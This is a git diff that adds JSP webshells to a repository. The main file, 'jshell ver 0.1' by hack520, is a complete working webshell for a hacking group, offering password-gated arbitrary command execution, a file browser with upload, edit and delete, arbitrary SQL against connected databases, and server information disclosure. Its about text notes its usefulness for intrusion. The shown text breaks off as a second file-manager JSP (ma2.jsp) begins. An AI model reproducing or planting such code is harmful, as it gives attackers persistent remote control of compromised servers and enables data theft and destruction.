_dbStatement = null; +private String _url = null; + +public boolean validate(String password) { +if (password.equals(_password)) { +return true; +} else { +return false; +} +} + +public String HTMLEncode(String str) { +str = str.replaceAll(" ", " "); +str = str.replaceAll("<", "<"); +str = str.replaceAll(">", ">"); +str = str.replaceAll("\r\n", "
    "); + +return str; +} + +public String Unicode2GB(String str) { +String sRet = null; + +try { +sRet = new String(str.getBytes("ISO8859_1"), _encodeType); +} catch (Exception e) { +sRet = str; +} + +return sRet; +} + +public String exeCmd(String cmd) { +Runtime runtime = Runtime.getRuntime(); +Process proc = null; +String retStr = ""; +InputStreamReader insReader = null; +char[] tmpBuffer = new char[1024]; +int nRet = 0; + +try { +proc = runtime.exec(cmd); +insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); + +while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { +retStr += new String(tmpBuffer, 0, nRet); +} + +insReader.close(); +retStr = HTMLEncode(retStr); +} catch (Exception e) { +retStr = "bad command \"" + cmd + "\""; +} finally { +return retStr; +} +} + +public String pathConvert(String path) { +String sRet = path.replace('\\', '/'); +File file = new File(path); + +if (file.getParent() != null) { +if (file.isDirectory()) { +if (! sRet.endsWith("/")) +sRet += "/"; +} +} else { +if (! sRet.endsWith("/")) +sRet += "/"; +} + +return sRet; +} + +public String strCut(String str, int len) { +String sRet; + +len -= 3; + +if (str.getBytes().length <= len) { +sRet = str; +} else { +try { +sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; +} catch (Exception e) { +sRet = str; +} +} + +return sRet; +} + +public String listFiles(String path, String curUri) { +File[] files = null; +File curFile = null; +String sRet = null; +int n = 0; +boolean isRoot = path.equals(""); + +path = pathConvert(path); + +try { +if (isRoot) { +files = File.listRoots(); +} else { +try { +curFile = new File(path); +String[] sFiles = curFile.list(); +files = new File[sFiles.length]; + +for (n = 0; n < sFiles.length; n ++) { +files[n] = new File(path + sFiles[n]); +} +} catch (Exception e) { +sRet = "bad path \"" + path + "\""; +} +} + +if (sRet == null) { +sRet = "\n"; +sRet += "\n"; +sRet += "\n"; +sRet += " \n"; + +if (curFile != null) { +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +} + +sRet += "\n"; + +sRet += " \n"; + +for (n = 0; n < files.length; n ++) { +sRet += " \n"; + +if (! isRoot) { +sRet += " \n"; +if (files[n].isDirectory()) { +sRet += " \n"; +} else { +sRet += " \n"; +} + +sRet += " \n"; +sRet += " \n"; +} else { +sRet += " \n"; +} + +sRet += " \n"; +} +sRet += " \n"; +sRet += "
    \n"; +sRet += "  上级目录 "; +sRet += "创建目录 "; +sRet += "新建文件 "; +sRet += "删除 "; +sRet += "复制 "; +sRet += "重命名 "; +sRet += "上传文件\n"; +sRet += " \n"; +sRet += "
    <" + strCut(files[n].getName(), 50) + ">" + strCut(files[n].getName(), 50) + "" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<edit>" : "") + "" + files[n].length() + "" + pathConvert(files[n].getPath()) + "
    \n"; +} +} catch (SecurityException e) { +sRet = "security violation, no privilege."; +} + +return sRet; +} + +public boolean isTextFile(String extName) { +int i; +boolean bRet = false; + +if (! extName.equals("")) { +for (i = 0; i < _textFileTypes.length; i ++) { +if (extName.equals(_textFileTypes[i])) { +bRet = true; +break; +} +} +} else { +bRet = true; +} + +return bRet; +} + +public String getExtName(String fileName) { +String sRet = ""; +int nLastDotPos; + +fileName = pathConvert(fileName); + +nLastDotPos = fileName.lastIndexOf("."); + +if (nLastDotPos == -1) { +sRet = ""; +} else { +sRet = fileName.substring(nLastDotPos + 1); +} + +return sRet; +} + +public String browseFile(String path) { +String sRet = ""; +File file = null; +FileReader fileReader = null; + +path = pathConvert(path); + +try { +file = new File(path); +fileReader = new FileReader(file); +String fileString = ""; +char[] chBuffer = new char[1024]; +int ret; + +sRet = "\n"; + +} catch (IOException e) { +sRet += "\n"; +} + +return sRet; +} + +public String openFile(String path, String curUri) { +String sRet = ""; +boolean canOpen = false; +int nLastDotPos = path.lastIndexOf("."); +String extName = ""; +String fileString = null; +File curFile = null; + +path = pathConvert(path); + +if (nLastDotPos == -1) { +canOpen = true; +} else { +extName = path.substring(nLastDotPos + 1); +canOpen = isTextFile(extName); +} + +if (canOpen) { +try { +fileString = ""; +curFile = new File(path); +FileReader fileReader = new FileReader(curFile); +char[] chBuffer = new char[1024]; +int nRet; + +while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { +fileString += new String(chBuffer, 0, nRet); +} + +fileReader.close(); +} catch (IOException e) { +fileString = null; +sRet = "不能打开文件\"" + path + "\""; +} catch (SecurityException e) { +fileString = null; +sRet = "安全问题,没有权限执行该操作"; +} +} else { +sRet = "file \"" + path + "\" is not a text file, can't be opened in text mode"; +} + +if (fileString != null) { +sRet += "\n"; +sRet += "\n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += "
    [上级目录]
    \n"; +sRet += " \n"; +sRet += "
     
    \n"; +} + +return sRet; +} + +public String saveFile(String path, String curUri, String fileContent) { +String sRet = ""; +File file = null; + +path = pathConvert(path); + +try { +file = new File(path); + +if (! file.canWrite()) { +sRet = "文件不可写"; +} else { +FileWriter fileWriter = new FileWriter(file); +fileWriter.write(fileContent); + +fileWriter.close(); +sRet = "文件保存成功,正在返回,请稍候……\n"; +sRet += "\n"; +} +} catch (IOException e) { +sRet = "保存文件失败"; +} catch (SecurityException e) { +sRet = "安全问题,没有权限执行该操作"; +} + +return sRet; +} + +public String createFolder(String path, String curUri, String folderName) { +String sRet = ""; +File folder = null; + +path = pathConvert(path); + +try { +folder = new File(path + folderName); + +if (folder.exists() && folder.isDirectory()) { +sRet = "\"" + path + folderName + "\"目录已经存在"; +} else { +if (folder.mkdir()) { +sRet = "成功创建目录\"" + pathConvert(folder.getPath()) + "\",正在返回,请稍候……\n"; +sRet += ""; +} else { +sRet = "创建目录\"" + folderName + "\"失败"; +} +} +} catch (SecurityException e) { +sRet = "安全问题,没有权限执行该操作"; +} + +return sRet; +} + +public String createFile(String path, String curUri, String fileName) { +String sRet = ""; +File file = null; + +path = pathConvert(path); + +try { +file = new File(path + fileName); + +if (file.createNewFile()) { +sRet = ""; +} else { +sRet = "\"" + path + fileName + "\"文件已经存在"; +} +} catch (SecurityException e) { +sRet = "安全问题,没有权限执行该操作"; +} catch (IOException e) { +sRet = "创建文件\"" + path + fileName + "\"失败"; +} + +return sRet; +} + +public String deleteFile(String path, String curUri, String[] files2Delete) { +String sRet = ""; +File tmpFile = null; + +try { +for (int i = 0; i < files2Delete.length; i ++) { +tmpFile = new File(files2Delete[i]); +if (! tmpFile.delete()) { +sRet += "删除\"" + files2Delete[i] + "\"失败
    \n"; +} +} + +if (sRet.equals("")) { +sRet = "删除成功,正在返回,请稍候……\n"; +sRet += ""; +} +} catch (SecurityException e) { +sRet = "安全问题,没有权限执行该操作\n"; +} + +return sRet; +} + +public String saveAs(String path, String curUri, String fileContent) { +String sRet = ""; +File file = null; +FileWriter fileWriter = null; + +try { +file = new File(path); + +if (file.createNewFile()) { +fileWriter = new FileWriter(file); +fileWriter.write(fileContent); +fileWriter.close(); + +sRet = ""; +} else { +sRet = "文件\"" + path + "\"已经存在"; +} +} catch (IOException e) { +sRet = "创建文件\"" + path + "\"失败"; +} + +return sRet; +} + + +public String uploadFile(ServletRequest request, String path, String curUri) { +String sRet = ""; +File file = null; +InputStream in = null; + +path = pathConvert(path); + +try { +in = request.getInputStream(); + +byte[] inBytes = new byte[request.getContentLength()]; +int nBytes; +int start = 0; +int end = 0; +int size = 1024; +String token = null; +String filePath = null; + +// +// 把输入流读入一个字节数组 +// +while ((nBytes = in.read(inBytes, start, size)) != -1) { +start += nBytes; +} + +in.close(); +// +// 从字节数组中得到文件分隔符号 +// +int i = 0; +byte[] seperator; + +while (inBytes[i] != 13) { +i ++; +} + +seperator = new byte[i]; + +for (i = 0; i < seperator.length; i ++) { +seperator[i] = inBytes[i]; +} + +// +// 得到Header部分 +// +String dataHeader = null; +i += 3; +start = i; +while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { +i ++; +} +end = i - 1; +dataHeader = new String(inBytes, start, end - start + 1); + +// +// 得到文件名 +// +token = "filename=\""; +start = dataHeader.indexOf(token) + token.length(); +token = "\""; +end = dataHeader.indexOf(token, start) - 1; +filePath = dataHeader.substring(start, end + 1); +filePath = pathConvert(filePath); +String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); + +// +// 得到文件内容开始位置 +// +i += 4; +start = i; + +/* +boolean found = true; +byte[] tmp = new byte[seperator.length]; +while (i <= inBytes.length - 1 - seperator.length) { + +for (int j = i; j < i + seperator.length; j ++) { +if (seperator[j - i] != inBytes[j]) { +found = false; +break; +} else +tmp[j - i] = inBytes[j]; +} + +if (found) +break; + +i ++; +}*/ + +// +// 偷懒的办法 +// +end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; + +// +// 保存为文件 +// +File newFile = new File(path + fileName); +newFile.createNewFile(); +FileOutputStream out = new FileOutputStream(newFile); + +//out.write(inBytes, start, end - start + 1); +out.write(inBytes, start, end - start + 1); +out.close(); + +sRet = "\n"; +} catch (IOException e) { +sRet = "\n"; +} + +sRet += ""; +return sRet; +} + +public boolean fileCopy(String srcPath, String dstPath) { +boolean bRet = true; + +try { +FileInputStream in = new FileInputStream(new File(srcPath)); +FileOutputStream out = new FileOutputStream(new File(dstPath)); +byte[] buffer = new byte[1024]; +int nBytes; + + +while ((nBytes = in.read(buffer, 0, 1024)) != -1) { +out.write(buffer, 0, nBytes); +} + +in.close(); +out.close(); +} catch (IOException e) { +bRet = false; +} + +return bRet; +} + +public String getFileNameByPath(String path) { +String sRet = ""; + +path = pathConvert(path); + +if (path.lastIndexOf("/") != -1) { +sRet = path.substring(path.lastIndexOf("/") + 1); +} else { +sRet = path; +} + +return sRet; +} + +public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) { +String sRet = ""; +int i; + +path = pathConvert(path); +dstPath = pathConvert(dstPath); + +for (i = 0; i < files2Copy.length; i ++) { +if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) { +sRet += "文件\"" + files2Copy[i] + "\"复制失败
    "; +} +} + +if (sRet.equals("")) { +sRet = "文件复制成功,正在返回,请稍候……"; +sRet += ""; +} + +return sRet; +} + +public boolean isFileName(String fileName) { +boolean bRet = false; + +Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$"); +Matcher m = p.matcher(fileName); + +bRet = m.matches(); + +return bRet; +} + +public String renameFile(String path, String curUri, String file2Rename, String newName) { +String sRet = ""; + +path = pathConvert(path); +file2Rename = pathConvert(file2Rename); + +try { +File file = new File(file2Rename); + +newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName; +File newFile = new File(newName); + +if (! file.exists()) { +sRet = "文件\"" + file2Rename + "\"不存在"; +} else { +file.renameTo(newFile); +sRet = "文件重命名成功,正在返回,请稍候……"; +sRet += ""; +} +} catch (SecurityException e) { +sRet = "安全问题导致文件\"" + file2Rename + "\"复制失败"; +} + +return sRet; +} + +public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) { +boolean bRet = true; +String driverName = ""; + +if (dbServer.equals("")) +dbServer = "localhost"; + +try { +if (dbType.equals("sqlserver")) { +driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; +if (dbPort.equals("")) +dbPort = "1433"; +_url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; +} else if (dbType.equals("mysql")) { +driverName = "com.mysql.jdbc.Driver"; +if (dbPort.equals("")) +dbPort = "3306"; +_url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; +} else if (dbType.equals("odbc")) { +driverName = "sun.jdbc.odbc.JdbcOdbcDriver"; +_url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword; +} else if (dbType.equals("oracle")) { +driverName = "oracle.jdbc.driver.OracleDriver"; +_url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName; +} else if (dbType.equals("db2")) { +driverName = "com.ibm.db2.jdbc.app.DB2Driver"; +_url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName; +} + +Class.forName(driverName); +} catch (ClassNotFoundException e) { +bRet = false; +} + +return bRet; +} + +public boolean DBConnect(String User, String Password) { +boolean bRet = false; + +if (_url != null) { +try { +_dbConnection = DriverManager.getConnection(_url, User, Password); +_dbStatement = _dbConnection.createStatement(); +bRet = true; +} catch (SQLException e) { +bRet = false; +} +} + +return bRet; +} + +public String DBExecute(String sql) { +String sRet = ""; + +if (_dbConnection == null || _dbStatement == null) { +sRet = "数据库没有正常连接"; +} else { +try { +if (sql.toLowerCase().substring(0, 6).equals("select")) { +ResultSet rs = _dbStatement.executeQuery(sql); +ResultSetMetaData rsmd = rs.getMetaData(); +int colNum = rsmd.getColumnCount(); +int colType; + +sRet = "sql语句执行成功,返回结果
    \n"; +sRet += "\n"; +sRet += " \n"; +for (int i = 1; i <= colNum; i ++) { +sRet += " \n"; +} +sRet += " \n"; +while (rs.next()) { +sRet += " \n"; +for (int i = 1; i <= colNum; i ++) { +colType = rsmd.getColumnType(i); + +sRet += " \n"; +} +sRet += " \n"; +} +sRet += "
    " + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")
    "; +switch (colType) { +case Types.BIGINT: +sRet += rs.getLong(i); +break; + +case Types.BIT: +sRet += rs.getBoolean(i); +break; + +case Types.BOOLEAN: +sRet += rs.getBoolean(i); +break; + +case Types.CHAR: +sRet += rs.getString(i); +break; + +case Types.DATE: +sRet += rs.getDate(i).toString(); +break; + +case Types.DECIMAL: +sRet += rs.getDouble(i); +break; + +case Types.NUMERIC: +sRet += rs.getDouble(i); +break; + +case Types.REAL: +sRet += rs.getDouble(i); +break; + +case Types.DOUBLE: +sRet += rs.getDouble(i); +break; + +case Types.FLOAT: +sRet += rs.getFloat(i); +break; + +case Types.INTEGER: +sRet += rs.getInt(i); +break; + +case Types.TINYINT: +sRet += rs.getShort(i); +break; + +case Types.VARCHAR: +sRet += rs.getString(i); +break; + +case Types.TIME: +sRet += rs.getTime(i).toString(); +break; + +case Types.DATALINK: +sRet += rs.getTimestamp(i).toString(); +break; +} +sRet += "
    \n"; + +rs.close(); +} else { +if (_dbStatement.execute(sql)) { +sRet = "sql语句执行成功"; +} else { +sRet = "sql语句执行失败"; +} +} +} catch (SQLException e) { +sRet = "sql语句执行失败"; +} +} + +return sRet; +} + +public void DBRelease() { +try { +if (_dbStatement != null) { +_dbStatement.close(); +_dbStatement = null; +} + +if (_dbConnection != null) { +_dbConnection.close(); +_dbConnection = null; +} +} catch (SQLException e) { + +} +} + +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class JshellConfig { +private String _jshellContent = null; +private String _path = null; + +public JshellConfig(String path) throws JshellConfigException { +_path = path; +read(); +} + +private void read() throws JshellConfigException { +try { +FileReader jshell = new FileReader(new File(_path)); +char[] buffer = new char[1024]; +int nChars; +_jshellContent = ""; + +while ((nChars = jshell.read(buffer, 0, 1024)) != -1) { +_jshellContent += new String(buffer, 0, nChars); +} + +jshell.close(); +} catch (IOException e) { +throw new JshellConfigException("打开文件失败"); +} +} + +public void save() throws JshellConfigException { +FileWriter jshell = null; + +try { +jshell = new FileWriter(new File(_path)); +char[] buffer = _jshellContent.toCharArray(); +int start = 0; +int size = 1024; + +for (start = 0; start < buffer.length - 1 - size; start += size) { +jshell.write(buffer, start, size); +} + +jshell.write(buffer, start, buffer.length - 1 - start); +} catch (IOException e) { +new JshellConfigException("写文件失败"); +} finally { +try { +jshell.close(); +} catch (IOException e) { + +} +} +} + +public void setPassword(String password) throws JshellConfigException { +Pattern p = Pattern.compile("\\w+"); +Matcher m = p.matcher(password); + +if (! m.matches()) { +throw new JshellConfigException("密码不能有除字母数字下划线以外的字符"); +} + +p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); +m = p.matcher(_jshellContent); +if (! m.find()) { +throw new JshellConfigException("程序体已经被非法修改"); +} + +_jshellContent = m.replaceAll("private String _password = \"" + password + "\""); + +//return HTMLEncode(_jshellContent); +} + +public void setEncodeType(String encodeType) throws JshellConfigException { +Pattern p = Pattern.compile("[A-Za-z0-9]+"); +Matcher m = p.matcher(encodeType); + +if (! m.matches()) { +throw new JshellConfigException("编码格式只能是字母和数字的组合"); +} + +p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); +m = p.matcher(_jshellContent); + +if (! m.find()) { +throw new JshellConfigException("程序体已经被非法修改"); +} + +_jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\""); +//return HTMLEncode(_jshellContent); +} + +public void setSessionTime(String sessionTime) throws JshellConfigException { +Pattern p = Pattern.compile("\\d+"); +Matcher m = p.matcher(sessionTime); + +if (! m.matches()) { +throw new JshellConfigException("session超时时间只能填数字"); +} + +p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime); +m = p.matcher(_jshellContent); + +if (! m.find()) { +throw new JshellConfigException("程序体已经被非法修改"); +} + +_jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime); +//return HTMLEncode(_jshellContent); +} + +public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException { +Pattern p = Pattern.compile("\\w+"); +Matcher m = null; +int i; +String fileTypes = ""; +String tmpFileTypes = ""; + +for (i = 0; i < textFileTypes.length; i ++) { +m = p.matcher(textFileTypes[i]); + +if (! m.matches()) { +throw new JshellConfigException("扩展名只能是字母数字和下划线的组合"); +} + +if (i != textFileTypes.length - 1) +fileTypes += "\"" + textFileTypes[i] + "\"" + ", "; +else +fileTypes += "\"" + textFileTypes[i] + "\""; +} + +for (i = 0; i < _textFileTypes.length; i ++) { +if (i != _textFileTypes.length - 1) +tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", "; +else +tmpFileTypes += "\"" + _textFileTypes[i] + "\""; +} + +p = Pattern.compile(tmpFileTypes); +m = p.matcher(_jshellContent); + +if (! m.find()) { +throw new JshellConfigException("程序文件已经被非法修改"); +} + +_jshellContent = m.replaceAll(fileTypes); + +//return HTMLEncode(_jshellContent); +} + +public String getContent() { +return HTMLEncode(_jshellContent); +} +} + +class JshellConfigException extends Exception { +public JshellConfigException(String message) { +super(message); +} +} +%> + + +[FC※HK]小组专用 + + + + +<% +session.setMaxInactiveInterval(_sessionOutTime * 60); + +if (request.getParameter("password") == null && session.getAttribute("password") == null) { +// show the login form +//================================================================================================ +%> +
    + + + + +
    + + + + + + + + + + + + + + + +
     8管理登录 :::...JFolder_By_hack520
    + + +
    +
    +<% +//================================================================================================ +// end of the login form +} else { +String password = null; + +if (session.getAttribute("password") == null) { +password = (String)request.getParameter("password"); + +if (validate(password) == false) { +out.println("
  • 哎呀,倒霉死啦!
  • "); +out.close(); +return; +} + +session.setAttribute("password", password); +} else { +password = (String)session.getAttribute("password"); +} + +String action = null; + + +if (request.getParameter("action") == null) +action = "main"; +else +action = (String)request.getParameter("action"); + +if (action.equals("exit")) { +session.removeAttribute("password"); +response.sendRedirect(request.getRequestURI()); +out.close(); +return; +} + +// show the main menu +//==================================================================================== +%> + + + + + + + +
    + + +
    +<% +//===================================================================================== +// end of main menu + +if (action.equals("main")) { +// print the system info table +//======================================================================================= +%> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    服务器信息
    服务器名<%=request.getServerName()%>
    服务器端口<%=request.getServerPort()%>
    操作系统<%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%>
    当前用户名<%=System.getProperty("user.name")%>
    当前用户目录<%=System.getProperty("user.home")%>
    当前用户工作目录<%=System.getProperty("user.dir")%>
    程序相对路径<%=request.getRequestURI()%>
    程序绝对路径<%=request.getRealPath(request.getServletPath())%>
    网络协议<%=request.getProtocol()%>
    服务器软件版本信息<%=application.getServerInfo()%>
    JDK版本<%=System.getProperty("java.version")%>
    JDK安装路径<%=System.getProperty("java.home")%>
    JAVA虚拟机版本<%=System.getProperty("java.vm.specification.version")%>
    JAVA虚拟机名<%=System.getProperty("java.vm.name")%>
    JAVA类路径<%=System.getProperty("java.class.path")%>
    JAVA载入库搜索路径<%=System.getProperty("java.library.path")%>
    JAVA临时目录<%=System.getProperty("java.io.tmpdir")%>
    JIT编译器名<%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%>
    扩展目录路径<%=System.getProperty("java.ext.dirs")%>
    客户端信息
    客户机地址<%=request.getRemoteAddr()%>
    服务机器名<%=request.getRemoteHost()%>
    用户名<%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%>
    请求方式<%=request.getScheme()%>
    应用安全套接字层<%=request.isSecure() == true ? "是" : "否"%>
    +<% +//======================================================================================= +// end of printing the system info table +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +} else if (action.equals("filesystem")) { +String curPath = ""; +String result = ""; +String fsAction = ""; + +if (request.getParameter("curPath") == null) { +curPath = request.getRealPath(request.getServletPath()); +curPath = pathConvert((new File(curPath)).getParent()); +} else { +curPath = Unicode2GB((String)request.getParameter("curPath")); +} + +if (request.getParameter("fsAction") == null) { +fsAction = "list"; +} else { +fsAction = (String)request.getParameter("fsAction"); +} + +if (fsAction.equals("list")) +result = listFiles(curPath, request.getRequestURI() + "?action=" + action); +else if (fsAction.equals("browse")) { +result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); +result += browseFile(curPath); +} +else if (fsAction.equals("open")) +result = openFile(curPath, request.getRequestURI() + "?action=" + action); +else if (fsAction.equals("save")) { +if (request.getParameter("fileContent") == null) { +result = "页面导航错误"; +} else { +String fileContent = Unicode2GB((String)request.getParameter("fileContent")); +result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); +} +} else if (fsAction.equals("createFolder")) { +if (request.getParameter("folderName") == null) { +result = "目录名不能为空"; +} else { +String folderName = Unicode2GB(request.getParameter("folderName").trim()); +if (folderName.equals("")) { +result = "目录名不能为空"; +} else { +result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); +} +} +} else if (fsAction.equals("createFile")) { +if (request.getParameter("fileName") == null) { +result = "文件名不能为空"; +} else { +String fileName = Unicode2GB(request.getParameter("fileName").trim()); +if (fileName.equals("")) { +result = "文件名不能为空"; +} else { +result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); +} +} +} else if (fsAction.equals("deleteFile")) { +if (request.getParameter("filesDelete") == null) { +result = "没有选择要删除的文件"; +} else { +String[] files2Delete = (String[])request.getParameterValues("filesDelete"); +if (files2Delete.length == 0) { +result = "没有选择要删除的文件"; +} else { +for (int n = 0; n < files2Delete.length; n ++) { +files2Delete[n] = Unicode2GB(files2Delete[n]); +} +result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); +} +} +} else if (fsAction.equals("saveAs")) { +if (request.getParameter("fileContent") == null) { +result = "页面导航错误"; +} else { +String fileContent = Unicode2GB(request.getParameter("fileContent")); +result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); +} +} else if (fsAction.equals("upload")) { +result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); +} else if (fsAction.equals("copyto")) { +if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { +result = "没有选择要复制的文件"; +} else { +String[] files2Copy = request.getParameterValues("filesDelete"); +String dstPath = request.getParameter("dstPath").trim(); +if (files2Copy.length == 0) { +result = "没有选择要复制的文件"; +} else if (dstPath.equals("")) { +result = "没有填写要复制到的目录路径"; +} else { +for (int i = 0; i < files2Copy.length; i ++) +files2Copy[i] = Unicode2GB(files2Copy[i]); + +result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); +} +} +} else if (fsAction.equals("rename")) { +if (request.getParameter("fileRename") == null) { +result = "页面导航错误"; +} else { +String file2Rename = request.getParameter("fileRename").trim(); +String newName = request.getParameter("newName").trim(); +if (file2Rename.equals("")) { +result = "没有选择要重命名的文件"; +} else if (newName.equals("")) { +result = "没有填写新文件名"; +} else { +result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); +} +} +} +%> + + + + + + + + + +
    地址   +
    <%= result.trim().equals("")?" " : result%>
    +<% +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +} else if (action.equals("command")) { +String cmd = ""; +InputStream ins = null; +String result = ""; + +if (request.getParameter("command") != null) { +cmd = (String)request.getParameter("command"); +result = exeCmd(cmd); +} +// print the command form +//======================================================================================== +%> + + + + + + + + + + + + +
    执行命令
    + + +
    执行结果
    + + + + +
    <%=result == "" ? " " : result%>
    +<% +//========================================================================================= +// end of printing command form +/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +} else if (action.equals("database")) { +String dbAction = ""; +String result = ""; +String dbType = ""; +String dbServer = ""; +String dbPort = ""; +String dbUsername = ""; +String dbPassword = ""; +String dbName = ""; +String dbResult = ""; +String sql = ""; + +if (request.getParameter("dbAction") == null) { +dbAction = "main"; +} else { +dbAction = request.getParameter("dbAction").trim(); +if (dbAction.equals("")) +dbAction = "main"; +} + +if (dbAction.equals("main")) { +result = " "; +} else if (dbAction.equals("dbConnect")) { +if (request.getParameter("dbType") == null || +request.getParameter("dbServer") == null || +request.getParameter("dbPort") == null || +request.getParameter("dbUsername") == null || +request.getParameter("dbPassword") == null || +request.getParameter("dbName") == null) { +response.sendRedirect(request.getRequestURI() + "?action=" + action); +} else { +dbType = request.getParameter("dbType").trim(); +dbServer = request.getParameter("dbServer").trim(); +dbPort = request.getParameter("dbPort").trim(); +dbUsername = request.getParameter("dbUsername").trim(); +dbPassword = request.getParameter("dbPassword").trim(); +dbName = request.getParameter("dbName").trim(); + +if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) { +if (DBConnect(dbUsername, dbPassword)) { +if (request.getParameter("sql") != null) { +sql = request.getParameter("sql").trim(); +if (! sql.equals("")) { +dbResult = DBExecute(sql); +} +} + +result = "\n"; +result += "sql语句

     \n"; + +DBRelease(); +} else { +result = "数据库连接失败"; +} +} else { +result = "数据库连接驱动没有找到"; +} +} +} +%> + + +"> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    数据库连接类型 + + +
    数据库服务器地址
    数据库服务器端口
    数据库用户名
    数据库密码
    数据库名
     
    <%=result%>
    + + + + +
    +<%=dbResult%> +
    +<% + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +} else if (action.equals("config")) { +String cfAction = ""; +int i; + +if (request.getParameter("cfAction") == null) { + +cfAction = "main"; +} else { +cfAction = request.getParameter("cfAction").trim(); +if (cfAction.equals("")) +cfAction = "main"; +} + +if (cfAction.equals("main")) { +// start of config form +//========================================================================================== +%> + + +" onSubmit="javascript:selectAllTypes()"> + + + + + + + + + + + + + + + + + + + + +
    密码
    系统编码
    Session超时时间
    可编辑文件类型 + + + + + + +
    + + + +

    + +
    + +
    +
    +<% +} else if (cfAction.equals("save")) { +if (request.getParameter("password") == null || +request.getParameter("encode") == null || +request.getParameter("sessionTime") == null || +request.getParameterValues("textFileTypes") == null) { +response.sendRedirect(request.getRequestURI()); +} + +String result = ""; + +String newPassword = request.getParameter("password").trim(); +String newEncodeType = request.getParameter("encode").trim(); +String newSessionTime = request.getParameter("sessionTime").trim(); +String[] newTextFileTypes = request.getParameterValues("textFileTypes"); +String jshellPath = request.getRealPath(request.getServletPath()); + +try { +JshellConfig jconfig = new JshellConfig(jshellPath); +jconfig.setPassword(newPassword); +jconfig.setEncodeType(newEncodeType); +jconfig.setSessionTime(newSessionTime); +jconfig.setTextFileTypes(newTextFileTypes); +jconfig.save(); +result += "设置保存成功,正在返回,请稍候……"; +result += ""; +} catch (JshellConfigException e) { +result = "" + e.getMessage() + ""; +} + +%> + + + + +
    <%=result == "" ? " " : result%>
    +<% +} +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//========================================================================================== +// end of config form +} else if (action.equals("about")) { +// start of about +//========================================================================================== +%> + + + + + + + + + + +
    关于 jshell ver 0.1
        增加了显示alxea排名的功能,这对于入侵中也比较方便些,版权还是归作者的.
    hack520 by hack520 and welcome to FCHK
    +<% +//========================================================================================== +} +} +%> + + diff --git a/jsp/ma2.jsp b/jsp/ma2.jsp new file mode 100644 index 0000000..c2b506a --- /dev/null +++ b/jsp/ma2.jsp @@ -0,0 +1,807 @@ +<%@ page import="java.util.*,java.net.*,java.text.*,java.util.zip.*,java.io.*"%> +<%@ page contentType="text/html;charset=gb2312"%> +<%! +/* +************************************************************************************** +*JSP 文件管理器 v1.001 * +*Copyright (C) 2003 by Bagheera * +*E-mail:bagheera@beareyes.com * +*QQ:179189585 * +*http://jmmm.com * +*------------------------------------------------------------------------------------* +*警告:请不要随便修改以上版权信息! * +************************************************************************************** +*#######免费空间管理系统正在完善之中,请到这里测试并发表宝贵意见: * +**http://jmmm.com/web/index.jsp 测试帐号:test 密码:test * +************************************************************************************** +*/ + +//编辑器显示列数 +private static final int EDITFIELD_COLS =100; +//编辑器显示行数 +private static final int EDITFIELD_ROWS = 30; 